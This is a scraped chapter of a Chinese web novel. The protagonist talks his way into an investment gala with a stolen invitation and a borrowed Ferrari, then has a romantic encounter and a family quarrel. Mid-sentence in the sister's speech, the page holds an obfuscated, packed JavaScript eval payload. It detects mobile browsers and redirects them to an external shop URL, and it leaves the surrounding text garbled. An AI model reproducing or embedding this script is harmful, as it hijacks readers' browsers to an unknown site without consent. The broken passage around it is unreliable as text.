文趣网 > 其他小说 > 与系统反目成仇后 > 9. 招商会
    沈与遥放下手机,抬起头,眼睛里几天来第一次有了光。

    “小罗。”

    “在!”

    “明天的招商会,我去。”他站起身,“新闻发布会也开,按原计划。”

    小罗大喜:“太好了沈哥!那我现在去安排媒体对接!”

    “招商会我自己去。对媒体,严格保密。”

    小罗:“……啊?”

    “照做。”

    次日,云廷酒店。

    门口车水马龙,豪车排出去二里地,每辆都得排队进停车场。宴会厅入口,宾客凭邀请函入场,队伍拐了好几个个弯。

    队伍最前头还堵着一桩事故:一个百万粉网红举着自拍杆在门口直播,一会儿招呼相熟记者,一会儿拉路过宾客合影,人越围越多,进得更慢了。

    湛宁和湛行排在队尾。

    “快点。”湛宁用胳膊肘捅他,“给你同学打电话,让他出来接,刷脸进。”

    湛行:“你在这儿等我。”

    他闪身进了酒店侧门。一分钟后,一个身形挺拔的“服务员”从员工通道走出来,帽檐压得恰到好处。

    刚才他顺手读了个路过的服务生,制服在负一层更衣室,第五排,他的尺码。

    湛行端着托盘站在落客区,目光扫过车队,精准锁定一辆红色法拉利。

    车主王总,做建材起家,年入九位数,最大的特点是爱面子,第二是赶时间,十分钟后他约的客人就进场了。

    湛行走过去,拉开车门,微微躬身:“先生,我来泊车。不能让法拉利等。”

    王总本来烦得不行,一听这话舒坦了,搭着他的手下车:“小伙子还挺有眼力见。”

    “先生,酒店新规。”湛行接过车钥匙,语气恭敬,“泊车要登记邀请函编号,您看?”

    “事儿真多。”王总赶着进场,从内袋掏出烫金邀请函拍在他手里,“赶紧的!车给我停正了,别挨着那辆破宾利!”

    “放心。”湛行双手接过。

    法拉利引擎一吼,拐向停车场。

    一分钟后,法拉利从出口绕出来,在路边“捡”上了湛宁。

    “上车。”

    “你从哪儿弄的车?!”湛宁瞳孔地震。

    “借的。”湛行一脚油门开回正门,亮出邀请函,稳稳插进车队最前头。

    保安验过邀请函,又看了看车标,敬礼,放行。

    姐弟俩大摇大摆进了宴会厅。

    而酒店门口,王总还堵在队伍前头跟门童掰扯,急得直跳脚:

    “我邀请函交给你们服务员了!就刚才那个!高高瘦瘦那个!”

    “先生,我们没有这位服务员……”

    “我邀请函还能长腿跑了?!”

    宴会厅里,水晶灯晃眼,香槟塔老高,来往全是体面人。

    湛宁眼睛一扫,锁定了目标:“我去那边转转,周然应该代表澄怀资本坐主桌附近。你自己活动,别惹事。”

    “我是那种人吗?”

    湛宁用鼻子哼了一声,走了。

    湛行端了杯香槟,百无聊赖地晃。晃到角落吧台,脚步停了。

    吧台尽头坐着一个人。

    西装笔挺,肩线漂亮,一个人对着一杯威士忌,喝得像在喝敌敌畏。

    沈屿。

    湛行走过去,往旁边高脚凳上一坐:“群演也能来招商会?”

    沈屿抬眼,看清来人,眼睛亮了一瞬,又矜持地压下去:“你不也是群演。你也来了。”

    湛行上下打量他,目光从帽檐扫到皮鞋:“第一次看见你穿浴袍以外的衣服。”他晃着杯子,“还挺人模狗样。”

    沈屿耳根唰地红了:“你……”

    他顿了顿,反将一军:“那你今天来,是整理什么?哪位老总的人生需要整理?”

    “格局小了。”湛行往吧台上一趴,开始吹牛,“我今天是来谈大项目的。一个亿的盘子,影视、文旅、资本运作,三栖联动。”

    “是吗。”沈屿笑了笑,转着手里的杯子,忽然状似无意地问,“你跟你哥……和好了?”

    湛行挑眉。

    “之前在快捷酒店,你说你被你哥骗了。”沈屿看着他,“房子、公司都没了。今天这种场合,澄怀资本的人也在。我以为你是来……”

    “和好?”湛行嗤笑,“不可能。我可不想变成跟他一样的人。”

    沈屿安静了两秒,轻声说:“我家庭很幸福。我家人都很优秀,他们深深影响了我。”

    “是吗。”湛行随口接,“他们今天来了吗?介绍我认识。”

    沈屿:“……”

    他张了张嘴,喉结动了动:“其实,我有件事一直想跟你说。我是……”

    湛行没听完。

    他盯着那张一开一合的嘴,盯着灯下那截随说话滚动的喉结,盯着盯着,就不想听了。

    他伸手,攥住沈屿的手腕,把人从吧台上拎下来,三步两步拖到立柱后面的阴影里。

    “湛行?!”

    “等会儿再说。”

    湛行把人抵在墙上,低头吻了下去。

    这个吻跟快捷酒店里的一点都不一样。带着三天没见的狠劲,带着从昨晚憋到现在的邪火。沈屿被他亲得后背撞在墙上,闷哼一声,手却诚实地搂上了他的脖子。

    【宿主!!!】系统叫,【你怎么又……你是种马吗?!床都不找?!这里是消防通道门口!头顶有摄像头!您龙傲天的体面呢?!】

    湛行一个精神力压过去。

    【您等着!】

    世界清净了。

    湛行一边亲,一边伸手往下。

    沈屿喘着气抓住他的手腕,眼睛湿漉漉的,声音压得极低:“……别在这儿。”

    “那在哪儿。”

    “我、我先……”

    话没说完,手机响了。尖锐的铃声在阴影里炸开。

    沈屿浑身一激灵,手忙脚乱去摸手机,看了一眼屏幕:“抱歉,我必须接一下。”

    他整理了一下领口,快步走到走廊尽头接电话。

    湛行靠在墙上,喘着气,衬衫扣子被扯开了两颗。

    【叮!精神力封印解除!我回来了!】系统说,【您继续啊?裤子呢?怎么不脱了?】

    “闭嘴。”

    身后传来高跟鞋的声音,杀气腾腾。

    湛宁不知道什么时候站在了他身后,脸黑得像锅底:“你刚才,干什么呢?”

    “社交。”湛行面不改色,“你不是让我拓展人脉吗。”

    “拓展人脉?”湛宁气笑了,声音压得又低又狠,“你拓展到人家腰上去了?!我全看见了!你把一个帅哥拖柱子里了!湛行!你能不能有点出息?!”

    周围有宾客看过来,湛宁一把将他拽到旁边,眼眶都红了:

    “之前你就为了个林梓

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967719|214291||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    杰,害得全家被赶出房子!现在又跟哪个在这儿乱搞?!你说你要拿回股权,结果呢?你看到帅哥就走不动道吗?!”

    湛行沉默了。

    “我打听到了,不用你。”湛宁抹了把脸,声音冷下来,“湛明宴明天中午坐私人飞机去香港谈生意。跟什么人、谈什么事,你自己想办法弄清楚。”

    她转身走了,高跟鞋踩在大理石地面上,一下一下,像敲在湛行脑门上。

    湛行靠着立柱,站了很久。

    【少见啊。】系统说,【宿主,您姐这回是真伤心了。】

    湛行没说话。

    他看着自己刚才去扣沈屿腰的那只手,缓缓握紧。

    为什么。

    他一见到这个人就失控。

    几百年了,对敌人没有过,对盟友没有过,对合欢宗宗主那种送到嘴边的都没有过。

    读不了湛明宴,他认了。可连自己的心跳都管不住……

    【叮!】系统慢悠悠,【宿主,别想啦。您这是坠入爱河了。】

    “没有。”

    【行,没有。数据在撒谎,嘴在撒谎,全位面只有您的裤子是诚实的。】

    “……”

    沈屿打完电话回来了,脸上带着歉意:“抱歉,我得先离开一下,有点急事。”他顿了顿,眼睛亮晶晶的,“作为补偿,明天晚上,白夜餐厅,我请你吃饭。那家的橘子特调,比我自己调的还好喝。”

    湛行看着他。

    想起姐姐红着眼睛转身的样子。想起父亲一夜白掉的头发。想起母亲抱着纸箱站在别墅门口回头看的那一眼。

    “明天我有事。”他说。

    沈屿愣住了:“……怎么了?出什么事了?”

    湛行沉默几秒,忽然轻声说:“你说得对。”

    “什么?”

    “家人对人的影响,是很大的。”

    他转过身,朝宴会厅大门走去。

    “湛行!”沈屿在身后叫他,声音发颤,“你敢打心底说,你没有想我?”

    湛行脚步没停。

    “没有。”他说,“也不会。”

    大门在他身后合上。

    沈屿站在原地,握着手机,半天没动。

    小罗在走廊那头喊:“沈哥!梁总到了!”

    “……来了。”

    酒店门外,风一吹,湛行把外套领子立起来。

    兜里那张“我先走了,有空联系”的便签纸,硌着大腿。

    这么多天了,他一直没扔。

    【叮!】系统的声音在他脑子里响起,难得没那么吵,倒像个报幕员:

    【恭喜宿主,解锁新成就:“没有,也不会”。】

    【嘴硬指数:爆表。心率:一百一。备注:宿主说“没有也不会”的时候,心跳比爆炸那晚还快。】

    【顺便播报:您姐姐刚发消息:查清楚湛明宴跟谁谈生意,查不清楚打断你的腿。】

    湛行把手机揣回兜里,抬头看了一眼酒店的灯火,转身走进夜色里。

    “系统。”

    【在呢。】

    “查一下,私人飞机去香港,航线怎么买。”

    【……啊?】系统愣了两秒,随即狂笑,【宿主!您全身上下只有三百二十七块五毛!您要追私人飞机去香港?!您打算挂在起落架上吗?!】

    湛行没说话。

    风猎猎,他的背影硬得像一杆枪。